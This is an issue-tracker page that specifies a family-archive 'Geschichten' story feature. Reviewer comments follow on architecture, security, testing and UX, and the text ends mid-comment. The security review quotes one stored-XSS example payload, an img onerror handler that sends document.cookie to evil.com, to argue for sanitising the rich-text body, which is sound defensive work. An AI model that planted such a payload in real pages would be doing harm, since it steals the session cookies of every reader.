feat: Geschichten — blog-like family memory stories linked to persons and documents #381

Closed
opened 2026-05-02 09:33:24 +02:00 by marcel · 17 comments
Owner

Context

Family members remember stories about the people who wrote these letters — anecdotes, memories, things that happened between the lines. The archive currently captures what was written; this feature captures what was remembered. Some stories are prompted by a specific document, some are standalone. Both kinds deserve a home.

Persona

Die Familienchronistin (BLOG_WRITER): An older family member with Kurrent literacy who transcribes letters and wants to attach the living memory she carries to the archive. Works on laptop/tablet.

Die neugierige Enkelin (reader): A younger family member who discovers the archive on her phone and wants to understand who her ancestors actually were — beyond the handwriting.

Jobs-to-be-Done

  • When I read a transcribed letter and it reminds me of something Oma told me, I want to write that memory down and connect it to the letter, so the next generation understands the human behind the handwriting.
  • When I look up Opa Franz in the archive, I want to find all the stories people have shared about him, so I can piece together a picture that goes beyond the letters.

Feature Scope

New permission

  • BLOG_WRITE — assignable to UserGroups by ADMIN only. Any user whose group holds this permission can create, edit, and delete any story (shared authorship model within the group).

Data model — Geschichte entity

Field Type Notes
id UUID PK
title String (non-null) Plain text
body String Rich text (HTML subset: bold, italic, <p>)
status Enum DRAFT / PUBLISHED Default: DRAFT
author AppUser Who created it — display only, not an access gate
persons Set<Person> Historical persons this story is about (0–N)
documents Set<Document> Documents referenced in this story (0–N)
createdAt Timestamp
updatedAt Timestamp
publishedAt Timestamp (nullable) Set when status → PUBLISHED

User Stories & Acceptance Criteria

US-BLOG-001 — Create and save a draft story

As a BLOG_WRITER, I want to create a new story with a title and rich-text body and save it as a draft, so that I can work on it over multiple sessions before publishing.

Given I have BLOG_WRITE permission, when I navigate to /geschichten, then I see a "Neue Geschichte" button.

Given I click "Neue Geschichte", when the editor opens, then it contains a title field and a rich-text body editor supporting bold, italic, and paragraph breaks.

Given I have entered at least a title, when I click "Entwurf speichern", then the story is saved with status DRAFT and is invisible to readers.

Given a story is saved as DRAFT, when I navigate away and return to edit it, then all content is preserved exactly.

Given I have not entered a title, when I click "Entwurf speichern", then saving is blocked with inline error: "Bitte gib einen Titel ein."


US-BLOG-002 — Attach persons and documents to a story

As a BLOG_WRITER, I want to search for and attach historical persons and documents to a story, so that readers can discover it from those persons' and documents' detail pages.

Given I am editing a story, when I type in the person search field, then matching Person entities from the archive appear (same persons who appear as senders/receivers).

Given I select a person, when the story is saved, then that person appears as a chip and is stored as a reference.

Given I am editing a story, when I type in the document search field, then matching documents appear by title and date.

Given I have attached a person or document chip, when I click ×, then it is removed from the story.

Given a story has no person and no document attached, when I save or publish, then the system accepts it — both fields are optional.


US-BLOG-003 — Publish a story

As a BLOG_WRITER, I want to publish a finished story, so that all logged-in family members can read it.

Given I am editing a DRAFT story, when I click "Veröffentlichen", then status → PUBLISHED, publishedAt is set, and the story becomes visible to all logged-in users.

Given a story is PUBLISHED, when I edit and save it, then changes are immediately live — no re-publish step required.

Given a story is PUBLISHED, when I click "Zurück zu Entwurf", then status → DRAFT and the story disappears from reader views immediately.


US-BLOG-004 — Browse the Geschichten index page

As a reader, I want to browse all published stories and filter by person, so that I can find memories about a specific ancestor.

Given I am logged in, when I navigate to /geschichten, then I see all PUBLISHED stories as cards showing: title, author name, publication date, and a 150-character excerpt.

Given the page is loaded, when I select a person from the filter, then only stories referencing that person are shown.

Given no stories match the active filter, when the list renders, then empty state: "Keine Geschichten für diese Person gefunden."

Given I click a story card, when the story opens, then full title, body, author name, publication date, referenced persons (as chips/links), and referenced documents (as links to their detail pages) are all visible.


US-BLOG-005 — Discover stories from a document detail page

As a reader, I want to see related stories when viewing a document, so that I find the human memory connected to a letter without a separate search.

Given a document has ≥1 PUBLISHED story referencing it, when I open the document detail page, then a "Geschichten" section is visible showing story title(s) and author(s).

Given I click a story title in that section, when it opens, then I see the full story.

Given a document has no published stories, when I view the document detail page, then no "Geschichten" section is shown (no empty state needed — silence is correct).


US-BLOG-006 — Edit or delete any story (BLOG_WRITER)

As a BLOG_WRITER, I want to edit or delete any story regardless of who wrote it, so that the historian group can collectively maintain story quality.

Given I have BLOG_WRITE, when I view any story, then I see "Bearbeiten" and "Löschen" buttons.

Given I click "Löschen", when a confirmation dialog appears and I confirm, then the story is permanently deleted and removed from all views.


System Rules (EARS)

REQ-AUTH-001: The system shall define a BLOG_WRITE permission assignable to any UserGroup by an ADMIN.

REQ-AUTH-002: When a user's group does not include BLOG_WRITE, the system shall not return DRAFT stories from any API endpoint and shall not render story creation or editing controls.

REQ-BLOG-001: When a story's status changes to PUBLISHED, the system shall set publishedAt to the current timestamp.

REQ-BLOG-002: When a story is deleted, the system shall remove all person and document references associated with it.


Non-Functional Requirements

ID Requirement
NFR-SEC-001 DRAFT stories must never be returned by any API endpoint to users without BLOG_WRITE — enforce at service layer, not just controller
NFR-RESP-001 /geschichten index and story detail pages must be fully usable on mobile (≤768px) — readers are primarily on phones
NFR-ACC-001 All story editor controls must be keyboard-navigable (WCAG 2.1 AA)
NFR-PERF-001 /geschichten index page must load within 2 s on a typical broadband connection

Navigation

  • Add "Geschichten" as a top-level nav link (visible to all logged-in users).
  • Route: /geschichten (index) and /geschichten/[id] (detail).
  • "Neue Geschichte" button on the index page, visible only to BLOG_WRITERs.

Out of scope (Release 2)

  • Picture uploads in story body
  • Reader comments / reactions
  • Sort options on index (newest / oldest / alphabetical)
  • "Stories written by" filter (by author)
## Context Family members remember stories *about* the people who wrote these letters — anecdotes, memories, things that happened between the lines. The archive currently captures what was written; this feature captures what was remembered. Some stories are prompted by a specific document, some are standalone. Both kinds deserve a home. ## Persona **Die Familienchronistin** (BLOG_WRITER): An older family member with Kurrent literacy who transcribes letters and wants to attach the living memory she carries to the archive. Works on laptop/tablet. **Die neugierige Enkelin** (reader): A younger family member who discovers the archive on her phone and wants to understand who her ancestors actually were — beyond the handwriting. ## Jobs-to-be-Done - *When I read a transcribed letter and it reminds me of something Oma told me, I want to write that memory down and connect it to the letter, so the next generation understands the human behind the handwriting.* - *When I look up Opa Franz in the archive, I want to find all the stories people have shared about him, so I can piece together a picture that goes beyond the letters.* --- ## Feature Scope ### New permission - `BLOG_WRITE` — assignable to UserGroups by ADMIN only. Any user whose group holds this permission can create, edit, and delete **any** story (shared authorship model within the group). ### Data model — `Geschichte` entity | Field | Type | Notes | |---|---|---| | `id` | UUID | PK | | `title` | String (non-null) | Plain text | | `body` | String | Rich text (HTML subset: bold, italic, `<p>`) | | `status` | Enum `DRAFT` / `PUBLISHED` | Default: `DRAFT` | | `author` | AppUser | Who created it — display only, not an access gate | | `persons` | Set\<Person\> | Historical persons this story is about (0–N) | | `documents` | Set\<Document\> | Documents referenced in this story (0–N) | | `createdAt` | Timestamp | | | `updatedAt` | Timestamp | | | `publishedAt` | Timestamp (nullable) | Set when status → PUBLISHED | --- ## User Stories & Acceptance Criteria ### US-BLOG-001 — Create and save a draft story **As a** BLOG_WRITER, **I want to** create a new story with a title and rich-text body and save it as a draft, **so that** I can work on it over multiple sessions before publishing. **Given** I have `BLOG_WRITE` permission, **when** I navigate to `/geschichten`, **then** I see a "Neue Geschichte" button. **Given** I click "Neue Geschichte", **when** the editor opens, **then** it contains a title field and a rich-text body editor supporting bold, italic, and paragraph breaks. **Given** I have entered at least a title, **when** I click "Entwurf speichern", **then** the story is saved with status `DRAFT` and is invisible to readers. **Given** a story is saved as `DRAFT`, **when** I navigate away and return to edit it, **then** all content is preserved exactly. **Given** I have not entered a title, **when** I click "Entwurf speichern", **then** saving is blocked with inline error: *"Bitte gib einen Titel ein."* --- ### US-BLOG-002 — Attach persons and documents to a story **As a** BLOG_WRITER, **I want to** search for and attach historical persons and documents to a story, **so that** readers can discover it from those persons' and documents' detail pages. **Given** I am editing a story, **when** I type in the person search field, **then** matching `Person` entities from the archive appear (same persons who appear as senders/receivers). **Given** I select a person, **when** the story is saved, **then** that person appears as a chip and is stored as a reference. **Given** I am editing a story, **when** I type in the document search field, **then** matching documents appear by title and date. **Given** I have attached a person or document chip, **when** I click ×, **then** it is removed from the story. **Given** a story has no person and no document attached, **when** I save or publish, **then** the system accepts it — both fields are optional. --- ### US-BLOG-003 — Publish a story **As a** BLOG_WRITER, **I want to** publish a finished story, **so that** all logged-in family members can read it. **Given** I am editing a `DRAFT` story, **when** I click "Veröffentlichen", **then** status → `PUBLISHED`, `publishedAt` is set, and the story becomes visible to all logged-in users. **Given** a story is `PUBLISHED`, **when** I edit and save it, **then** changes are immediately live — no re-publish step required. **Given** a story is `PUBLISHED`, **when** I click "Zurück zu Entwurf", **then** status → `DRAFT` and the story disappears from reader views immediately. --- ### US-BLOG-004 — Browse the Geschichten index page **As a** reader, **I want to** browse all published stories and filter by person, **so that** I can find memories about a specific ancestor. **Given** I am logged in, **when** I navigate to `/geschichten`, **then** I see all `PUBLISHED` stories as cards showing: title, author name, publication date, and a 150-character excerpt. **Given** the page is loaded, **when** I select a person from the filter, **then** only stories referencing that person are shown. **Given** no stories match the active filter, **when** the list renders, **then** empty state: *"Keine Geschichten für diese Person gefunden."* **Given** I click a story card, **when** the story opens, **then** full title, body, author name, publication date, referenced persons (as chips/links), and referenced documents (as links to their detail pages) are all visible. --- ### US-BLOG-005 — Discover stories from a document detail page **As a** reader, **I want to** see related stories when viewing a document, **so that** I find the human memory connected to a letter without a separate search. **Given** a document has ≥1 `PUBLISHED` story referencing it, **when** I open the document detail page, **then** a "Geschichten" section is visible showing story title(s) and author(s). **Given** I click a story title in that section, **when** it opens, **then** I see the full story. **Given** a document has no published stories, **when** I view the document detail page, **then** no "Geschichten" section is shown (no empty state needed — silence is correct). --- ### US-BLOG-006 — Edit or delete any story (BLOG_WRITER) **As a** BLOG_WRITER, **I want to** edit or delete any story regardless of who wrote it, **so that** the historian group can collectively maintain story quality. **Given** I have `BLOG_WRITE`, **when** I view any story, **then** I see "Bearbeiten" and "Löschen" buttons. **Given** I click "Löschen", **when** a confirmation dialog appears and I confirm, **then** the story is permanently deleted and removed from all views. --- ## System Rules (EARS) **REQ-AUTH-001:** The system shall define a `BLOG_WRITE` permission assignable to any UserGroup by an ADMIN. **REQ-AUTH-002:** When a user's group does not include `BLOG_WRITE`, the system shall not return `DRAFT` stories from any API endpoint and shall not render story creation or editing controls. **REQ-BLOG-001:** When a story's status changes to `PUBLISHED`, the system shall set `publishedAt` to the current timestamp. **REQ-BLOG-002:** When a story is deleted, the system shall remove all person and document references associated with it. --- ## Non-Functional Requirements | ID | Requirement | |---|---| | NFR-SEC-001 | `DRAFT` stories must never be returned by any API endpoint to users without `BLOG_WRITE` — enforce at service layer, not just controller | | NFR-RESP-001 | `/geschichten` index and story detail pages must be fully usable on mobile (≤768px) — readers are primarily on phones | | NFR-ACC-001 | All story editor controls must be keyboard-navigable (WCAG 2.1 AA) | | NFR-PERF-001 | `/geschichten` index page must load within 2 s on a typical broadband connection | --- ## Navigation - Add "Geschichten" as a top-level nav link (visible to all logged-in users). - Route: `/geschichten` (index) and `/geschichten/[id]` (detail). - "Neue Geschichte" button on the index page, visible only to BLOG_WRITERs. --- ## Out of scope (Release 2) - Picture uploads in story body - Reader comments / reactions - Sort options on index (newest / oldest / alphabetical) - "Stories written by" filter (by author)
marcel added the P2-mediumcollaborationfeature labels 2026-05-02 09:33:37 +02:00
Author
Owner

🏛️ Markus Keller — Application Architect

Observations

  • Module package: The existing layout is controller/, service/, repository/, model/ — but that's layer-first. The correct approach per our standards is a geschichten/ feature package containing GeschichteController, GeschichteService, GeschichteRepository, Geschichte entity, and GeschichteUpdateDTO. Don't scatter across existing layer packages.
  • Permission enum: BLOG_WRITE must be added to Permission.java (security/Permission.java). The PermissionAspect works via enum name matching — a string typo in any other approach would silently fail open.
  • Cross-domain calls: GeschichteService must call PersonService.getById() and DocumentService.getById() — never inject PersonRepository or DocumentRepository directly. This boundary is already established and must hold.
  • Flyway migration: Current latest is V57__add_tbmp_unique_constraint.sql. New migration is V58__add_geschichten.sql. Needs: geschichten table, geschichten_persons join table, geschichten_documents join table, index on (status, published_at DESC) for the index page query.
  • AppNav needs hasBlogWrite: The nav shows "Geschichten" to all users, but the "Neue Geschichte" button needs the layout to expose a hasBlogWrite boolean — same pattern as isAdmin in +layout.svelte. The load function needs to derive this from user.groups[].permissions.

Recommendations

  • Add the (status, published_at DESC) index in V58 from day one — the index page always filters by PUBLISHED, and leaving it as a full-table scan will hurt as stories accumulate.
  • The body field is HTML — define a database CHECK (length(body) <= 50000) constraint in V58 rather than leaving it unbounded. Pick a number now and enforce it at the DB layer.
  • GeschichteUpdateDTO covers both create and update (all fields optional) — mirrors the existing DocumentUpdateDTO pattern.

Open Decisions

  • Body character limit — The issue doesn't specify a max length. Options: 10 000 chars (safe, simple stories), 50 000 chars (long narratives), unlimited. Each requires a DB constraint + frontend counter + backend validation. Choose before V58 is written.
## 🏛️ Markus Keller — Application Architect ### Observations - **Module package**: The existing layout is `controller/`, `service/`, `repository/`, `model/` — but that's layer-first. The correct approach per our standards is a `geschichten/` feature package containing `GeschichteController`, `GeschichteService`, `GeschichteRepository`, `Geschichte` entity, and `GeschichteUpdateDTO`. Don't scatter across existing layer packages. - **Permission enum**: `BLOG_WRITE` must be added to `Permission.java` (`security/Permission.java`). The `PermissionAspect` works via enum name matching — a string typo in any other approach would silently fail open. - **Cross-domain calls**: `GeschichteService` must call `PersonService.getById()` and `DocumentService.getById()` — never inject `PersonRepository` or `DocumentRepository` directly. This boundary is already established and must hold. - **Flyway migration**: Current latest is `V57__add_tbmp_unique_constraint.sql`. New migration is `V58__add_geschichten.sql`. Needs: `geschichten` table, `geschichten_persons` join table, `geschichten_documents` join table, index on `(status, published_at DESC)` for the index page query. - **AppNav needs `hasBlogWrite`**: The nav shows "Geschichten" to all users, but the "Neue Geschichte" button needs the layout to expose a `hasBlogWrite` boolean — same pattern as `isAdmin` in `+layout.svelte`. The load function needs to derive this from `user.groups[].permissions`. ### Recommendations - Add the `(status, published_at DESC)` index in V58 from day one — the index page always filters by `PUBLISHED`, and leaving it as a full-table scan will hurt as stories accumulate. - The `body` field is HTML — define a database `CHECK (length(body) <= 50000)` constraint in V58 rather than leaving it unbounded. Pick a number now and enforce it at the DB layer. - `GeschichteUpdateDTO` covers both create and update (all fields optional) — mirrors the existing `DocumentUpdateDTO` pattern. ### Open Decisions - **Body character limit** — The issue doesn't specify a max length. Options: 10 000 chars (safe, simple stories), 50 000 chars (long narratives), unlimited. Each requires a DB constraint + frontend counter + backend validation. Choose before V58 is written.
Author
Owner

👨‍💻 Felix Brandt — Senior Fullstack Developer

Observations

  • Reusable components already exist: PersonTypeahead and PersonMultiSelect are the right building blocks for the person attachment in US-BLOG-002 — don't reinvent them. PersonMultiSelect gives the chip + remove UX out of the box.
  • Rich text editor: "bold, italic, paragraph breaks" is a small subset. A library is still needed — Tiptap (@tiptap/starter-kit) is the pragmatic choice for Svelte because it's headless (we control all styling) and has a tiny API surface for this scope. A custom contenteditable would be underspecified and unmaintainable.
  • Component split for the editor page: One +page.svelte orchestrator, then: GeschichteEditor.svelte (title + rich text + publish controls), PersonAttachment.svelte (wraps PersonMultiSelect), DocumentAttachment.svelte (document search chips), GeschichteCard.svelte (index page card: title, author, date, excerpt).
  • $derived for editor state: const canPublish = $derived(title.trim().length > 0), const isDraft = $derived(status === 'DRAFT'). Don't compute these inline in the template.
  • Backend: GeschichteService follows the existing pattern — @Service @RequiredArgsConstructor @Slf4j, write methods @Transactional, read methods not annotated.
  • Error codes to add: GESCHICHTE_NOT_FOUND in ErrorCode.java, errors.ts, and messages/de.json.

Recommendations

  • Use Tiptap @tiptap/starter-kit scoped to Bold, Italic, Paragraph — configure StarterKit with everything disabled except those three. This keeps the HTML output minimal and predictable for the sanitizer.
  • TDD order: GeschichteServiceTest (Mockito, unit) → GeschichteControllerTest (@WebMvcTest) → GeschichteIntegrationTest (Testcontainers). The service test must cover: draft invisible to non-BLOG_WRITE, publish sets publishedAt, delete cascades references.
  • The document search typeahead in the editor can reuse createTypeahead (the existing hook at $lib/hooks/useTypeahead.svelte) against /api/documents?q= — no new infrastructure needed.

Open Decisions

  • Rich text editor library — Tiptap is my recommendation (headless, composable, Svelte-compatible). Alternative: a lightweight contenteditable div with document.execCommand (deprecated, browser-inconsistent, but zero dependencies). Tiptap is the safer long-term bet.
## 👨‍💻 Felix Brandt — Senior Fullstack Developer ### Observations - **Reusable components already exist**: `PersonTypeahead` and `PersonMultiSelect` are the right building blocks for the person attachment in US-BLOG-002 — don't reinvent them. `PersonMultiSelect` gives the chip + remove UX out of the box. - **Rich text editor**: "bold, italic, paragraph breaks" is a small subset. A library is still needed — Tiptap (`@tiptap/starter-kit`) is the pragmatic choice for Svelte because it's headless (we control all styling) and has a tiny API surface for this scope. A custom `contenteditable` would be underspecified and unmaintainable. - **Component split for the editor page**: One `+page.svelte` orchestrator, then: `GeschichteEditor.svelte` (title + rich text + publish controls), `PersonAttachment.svelte` (wraps PersonMultiSelect), `DocumentAttachment.svelte` (document search chips), `GeschichteCard.svelte` (index page card: title, author, date, excerpt). - **`$derived` for editor state**: `const canPublish = $derived(title.trim().length > 0)`, `const isDraft = $derived(status === 'DRAFT')`. Don't compute these inline in the template. - **Backend**: `GeschichteService` follows the existing pattern — `@Service @RequiredArgsConstructor @Slf4j`, write methods `@Transactional`, read methods not annotated. - **Error codes to add**: `GESCHICHTE_NOT_FOUND` in `ErrorCode.java`, `errors.ts`, and `messages/de.json`. ### Recommendations - Use Tiptap `@tiptap/starter-kit` scoped to `Bold`, `Italic`, `Paragraph` — configure `StarterKit` with everything disabled except those three. This keeps the HTML output minimal and predictable for the sanitizer. - TDD order: `GeschichteServiceTest` (Mockito, unit) → `GeschichteControllerTest` (`@WebMvcTest`) → `GeschichteIntegrationTest` (Testcontainers). The service test must cover: draft invisible to non-BLOG_WRITE, publish sets `publishedAt`, delete cascades references. - The document search typeahead in the editor can reuse `createTypeahead` (the existing hook at `$lib/hooks/useTypeahead.svelte`) against `/api/documents?q=` — no new infrastructure needed. ### Open Decisions - **Rich text editor library** — Tiptap is my recommendation (headless, composable, Svelte-compatible). Alternative: a lightweight `contenteditable` div with `document.execCommand` (deprecated, browser-inconsistent, but zero dependencies). Tiptap is the safer long-term bet.
Author
Owner

🔒 Nora "NullX" Steiner — Security Engineer

Observations

Critical: Stored XSS via rich text body

The body field is rich text HTML stored in PostgreSQL and rendered in the browser. This is a stored XSS attack surface — a BLOG_WRITER could store <script>alert(1)</script> or <img src=x onerror=fetch('https://evil.com?c='+document.cookie)>. Since all logged-in users render stories, a single injected payload hits every family member.

Two layers are required:

  1. Backend (input): Sanitize with OWASP Java HTML Sanitizer on write. Allowlist only <p>, <strong>, <em>, <br> — nothing else. Reject the save if sanitization removes structural content.
  2. Frontend (output): Render via {@html body} in Svelte (needed for rich text), but pass through DOMPurify first: {@html DOMPurify.sanitize(story.body, { ALLOWED_TAGS: ['p', 'strong', 'em', 'br'] })}.

Both layers are needed — the backend sanitizer prevents database-level poisoning; the frontend sanitizer is the last line of defense if the API is called directly.

DRAFT exposure (NFR-SEC-001)

The issue correctly identifies the risk. Implementation must enforce this at the service layer, not the controller:

// In GeschichteService.getById():
if (geschichte.getStatus() == GeschichteStatus.DRAFT && !currentUserHasBlogWrite()) {
    throw DomainException.forbidden("GESCHICHTE_NOT_FOUND");  // use NotFound, not Forbidden — don't confirm existence
}

Returning 403 for a DRAFT confirms the story exists. Returning 404 is the correct security behavior.

Permission boundary tests needed

The PermissionAspect enforces @RequirePermission at the method level — confirmed from the source. Every write endpoint needs an explicit @WebMvcTest test with a user missing BLOG_WRITE that asserts status().isForbidden(). Don't trust AOP without a failing test.

Recommendations

  • Add OWASP Java HTML Sanitizer to pom.xml. Configure a strict PolicyFactory with the exact allowlist. Apply in GeschichteService on every create/update before persistence.
  • Add dompurify to frontend deps. Create a $lib/utils/sanitize.ts helper: export const safeHtml = (raw: string) => DOMPurify.sanitize(raw, ...). Always use this helper — never {@html raw} directly.
  • Write 401/403 tests for: POST /api/geschichten (unauthenticated → 401, READ_ALL only → 403), PUT /api/geschichten/{id} (same), DELETE /api/geschichten/{id} (same).
  • The "any BLOG_WRITER can delete any story" model is correct per spec and doesn't introduce IDOR because it's intentional shared ownership. Just make sure the test proves it.
## 🔒 Nora "NullX" Steiner — Security Engineer ### Observations **Critical: Stored XSS via rich text body** The `body` field is rich text HTML stored in PostgreSQL and rendered in the browser. This is a stored XSS attack surface — a BLOG_WRITER could store `<script>alert(1)</script>` or `<img src=x onerror=fetch('https://evil.com?c='+document.cookie)>`. Since all logged-in users render stories, a single injected payload hits every family member. Two layers are required: 1. **Backend (input)**: Sanitize with OWASP Java HTML Sanitizer on write. Allowlist only `<p>`, `<strong>`, `<em>`, `<br>` — nothing else. Reject the save if sanitization removes structural content. 2. **Frontend (output)**: Render via `{@html body}` in Svelte (needed for rich text), but pass through DOMPurify first: `{@html DOMPurify.sanitize(story.body, { ALLOWED_TAGS: ['p', 'strong', 'em', 'br'] })}`. Both layers are needed — the backend sanitizer prevents database-level poisoning; the frontend sanitizer is the last line of defense if the API is called directly. **DRAFT exposure (NFR-SEC-001)** The issue correctly identifies the risk. Implementation must enforce this at the service layer, not the controller: ```java // In GeschichteService.getById(): if (geschichte.getStatus() == GeschichteStatus.DRAFT && !currentUserHasBlogWrite()) { throw DomainException.forbidden("GESCHICHTE_NOT_FOUND"); // use NotFound, not Forbidden — don't confirm existence } ``` Returning 403 for a DRAFT confirms the story exists. Returning 404 is the correct security behavior. **Permission boundary tests needed** The `PermissionAspect` enforces `@RequirePermission` at the method level — confirmed from the source. Every write endpoint needs an explicit `@WebMvcTest` test with a user missing `BLOG_WRITE` that asserts `status().isForbidden()`. Don't trust AOP without a failing test. ### Recommendations - Add `OWASP Java HTML Sanitizer` to `pom.xml`. Configure a strict `PolicyFactory` with the exact allowlist. Apply in `GeschichteService` on every create/update before persistence. - Add `dompurify` to frontend deps. Create a `$lib/utils/sanitize.ts` helper: `export const safeHtml = (raw: string) => DOMPurify.sanitize(raw, ...)`. Always use this helper — never `{@html raw}` directly. - Write 401/403 tests for: `POST /api/geschichten` (unauthenticated → 401, READ_ALL only → 403), `PUT /api/geschichten/{id}` (same), `DELETE /api/geschichten/{id}` (same). - The "any BLOG_WRITER can delete any story" model is correct per spec and doesn't introduce IDOR because it's intentional shared ownership. Just make sure the test proves it.
Author
Owner

🧪 Sara Holt — QA Engineer

Observations

Missing acceptance criteria / edge cases not covered by the spec:

  • US-BLOG-001, empty body: The spec requires a title to save. What about publishing with an empty body? US-BLOG-003 has no AC for this. Recommend: empty body is allowed (a short title-only story is valid), but add a word to the spec to confirm.
  • US-BLOG-003, publishedAt on re-publish: A story goes DRAFT → PUBLISHED → DRAFT → PUBLISHED. Does publishedAt update to the second publish timestamp, or keep the first? The EARS rule says "set publishedAt to the current timestamp" on status change to PUBLISHED — which implies it updates. Confirm this is intentional.
  • US-BLOG-004, excerpt with HTML tags: The body is rich text HTML. A 150-char excerpt of <p><strong>Opa Franz</strong> war...</p> would include the HTML tags. The excerpt must be stripped to plain text before truncation. This is a concrete implementation constraint missing from the spec.
  • US-BLOG-005, deleted document reference: A document is referenced in a story, then the document is deleted. The issue specifies REQ-BLOG-002 for deletion of a Geschichte, but not for deletion of a referenced document. geschichten_documents join table should use ON DELETE CASCADE — confirm this is the intended behavior.
  • Concurrent edits: Two BLOG_WRITERs edit the same story simultaneously. The spec implies last-write-wins (no @Version field). This is acceptable for a family app, but should be explicitly noted as a known limitation.

Test Strategy (by layer)

Unit (GeschichteServiceTest):

  • should_return_only_published_for_reader
  • should_return_draft_to_blog_writer
  • should_set_publishedAt_when_status_becomes_published
  • should_throw_notFound_for_draft_when_user_lacks_BLOG_WRITE
  • should_cascade_delete_person_and_document_references

Integration (GeschichteControllerTest with @WebMvcTest):

  • POST /api/geschichten → 201 with BLOG_WRITE, 403 without
  • GET /api/geschichten/{id} → DRAFT returns 404 to reader, 200 to BLOG_WRITER

E2E (Playwright):

  • Full journey: create draft → attach person → publish → find on /geschichten filtered by that person
  • Document detail shows story after linking; story disappears from detail after unpublish

Recommendations

  • Add a Given published story is unpublished, when a reader hits the direct story URL, then they receive a 404 AC to US-BLOG-003 — currently the spec only describes the index page disappearing.
  • Add explicit AC to US-BLOG-004: "excerpt is plain text (HTML stripped) truncated at 150 characters with an ellipsis."
## 🧪 Sara Holt — QA Engineer ### Observations **Missing acceptance criteria / edge cases not covered by the spec:** - **US-BLOG-001, empty body**: The spec requires a title to save. What about publishing with an empty body? US-BLOG-003 has no AC for this. Recommend: empty body is allowed (a short title-only story is valid), but add a word to the spec to confirm. - **US-BLOG-003, `publishedAt` on re-publish**: A story goes DRAFT → PUBLISHED → DRAFT → PUBLISHED. Does `publishedAt` update to the second publish timestamp, or keep the first? The EARS rule says "set `publishedAt` to the current timestamp" on status change to PUBLISHED — which implies it updates. Confirm this is intentional. - **US-BLOG-004, excerpt with HTML tags**: The body is rich text HTML. A 150-char excerpt of `<p><strong>Opa Franz</strong> war...</p>` would include the HTML tags. The excerpt must be stripped to plain text before truncation. This is a concrete implementation constraint missing from the spec. - **US-BLOG-005, deleted document reference**: A document is referenced in a story, then the document is deleted. The issue specifies `REQ-BLOG-002` for deletion of a Geschichte, but not for deletion of a referenced document. `geschichten_documents` join table should use `ON DELETE CASCADE` — confirm this is the intended behavior. - **Concurrent edits**: Two BLOG_WRITERs edit the same story simultaneously. The spec implies last-write-wins (no `@Version` field). This is acceptable for a family app, but should be explicitly noted as a known limitation. ### Test Strategy (by layer) **Unit** (`GeschichteServiceTest`): - `should_return_only_published_for_reader` - `should_return_draft_to_blog_writer` - `should_set_publishedAt_when_status_becomes_published` - `should_throw_notFound_for_draft_when_user_lacks_BLOG_WRITE` - `should_cascade_delete_person_and_document_references` **Integration** (`GeschichteControllerTest` with `@WebMvcTest`): - `POST /api/geschichten` → 201 with BLOG_WRITE, 403 without - `GET /api/geschichten/{id}` → DRAFT returns 404 to reader, 200 to BLOG_WRITER **E2E** (Playwright): - Full journey: create draft → attach person → publish → find on /geschichten filtered by that person - Document detail shows story after linking; story disappears from detail after unpublish ### Recommendations - Add a `Given published story is unpublished, when a reader hits the direct story URL, then they receive a 404` AC to US-BLOG-003 — currently the spec only describes the index page disappearing. - Add explicit AC to US-BLOG-004: "excerpt is plain text (HTML stripped) truncated at 150 characters with an ellipsis."
Author
Owner

🎨 Leonie Voss — UX Designer & Accessibility Strategist

Observations

Navigation

The issue says "Geschichten" visible to all logged-in users. Looking at AppNav.svelte, the pattern is clear — it needs a new <a href="/geschichten"> link in both the desktop nav and the mobile nav panel, with the active state class (border-b-2 border-accent text-white). It gets a Paraglide key nav_geschichten. The "Neue Geschichte" button on the index page checks hasBlogWrite (derived in layout from user.groups[].permissions.includes('BLOG_WRITE')) — same pattern as isAdmin.

Rich text editor — senior audience risk

Die Familienchronistin is 60+, on a laptop/tablet. A rich text toolbar that hides behind a hover menu or collapses on small viewports is a usability failure for this persona. The toolbar (Bold, Italic buttons) must be permanently visible, with 44px minimum touch targets on each control. Icon-only toolbar buttons need aria-label or visible text labels — seniors do not recognise the "B" icon as bold.

Person filter on index page

A <select> populated from the persons API is more accessible than a typeahead for this use case. Filtering is not creation — the user picks from a known list. A <select> renders natively on mobile, respects OS accessibility settings, and needs zero custom keyboard handling. Reserve typeaheads for the editor's attachment inputs (where the list can be huge and search is needed).

Story card excerpt

The excerpt must be plain text (HTML stripped). Rendering <strong> in a 150-char card preview is garbled and visually broken. Body text in cards: minimum 16px (text-base), Merriweather (font-serif), line-clamp-3 is acceptable if the full text is accessible on the detail page.

"Zurück zu Entwurf" is a destructive action

Unpublishing a story removes it from all readers immediately. This should have the same confirmation dialog pattern as "Löschen" — it's reversible but has immediate visible impact for everyone. Don't make it a one-click action.

Unsaved-changes guard in editor

The editor has title, body, persons, and documents as form state. If a BLOG_WRITER navigates away without saving, they lose work silently. A beforeunload guard (or SvelteKit's beforeNavigate) is needed to prompt "Du hast ungespeicherte Änderungen — wirklich verlassen?"

Recommendations

  • The story detail page should use <article> as the semantic wrapper for the body content — correct landmark for long-form text content.
  • Person chips on the story detail (referenced persons) should be <a href="/persons/{id}"> links, not decorative <span> chips — they are navigational.
  • Prioritise mobile layout for /geschichten: single-column card stack, full-width cards, no sidebar filter (filter collapses to a <select> above the list at ≤768px).
## 🎨 Leonie Voss — UX Designer & Accessibility Strategist ### Observations **Navigation** The issue says "Geschichten" visible to all logged-in users. Looking at `AppNav.svelte`, the pattern is clear — it needs a new `<a href="/geschichten">` link in both the desktop nav and the mobile nav panel, with the active state class (`border-b-2 border-accent text-white`). It gets a Paraglide key `nav_geschichten`. The "Neue Geschichte" button on the index page checks `hasBlogWrite` (derived in layout from `user.groups[].permissions.includes('BLOG_WRITE')`) — same pattern as `isAdmin`. **Rich text editor — senior audience risk** Die Familienchronistin is 60+, on a laptop/tablet. A rich text toolbar that hides behind a hover menu or collapses on small viewports is a usability failure for this persona. The toolbar (Bold, Italic buttons) must be permanently visible, with 44px minimum touch targets on each control. Icon-only toolbar buttons need `aria-label` or visible text labels — seniors do not recognise the "B" icon as bold. **Person filter on index page** A `<select>` populated from the persons API is more accessible than a typeahead for this use case. Filtering is not creation — the user picks from a known list. A `<select>` renders natively on mobile, respects OS accessibility settings, and needs zero custom keyboard handling. Reserve typeaheads for the editor's attachment inputs (where the list can be huge and search is needed). **Story card excerpt** The excerpt must be plain text (HTML stripped). Rendering `<strong>` in a 150-char card preview is garbled and visually broken. Body text in cards: minimum 16px (`text-base`), Merriweather (`font-serif`), `line-clamp-3` is acceptable if the full text is accessible on the detail page. **"Zurück zu Entwurf" is a destructive action** Unpublishing a story removes it from all readers immediately. This should have the same confirmation dialog pattern as "Löschen" — it's reversible but has immediate visible impact for everyone. Don't make it a one-click action. **Unsaved-changes guard in editor** The editor has title, body, 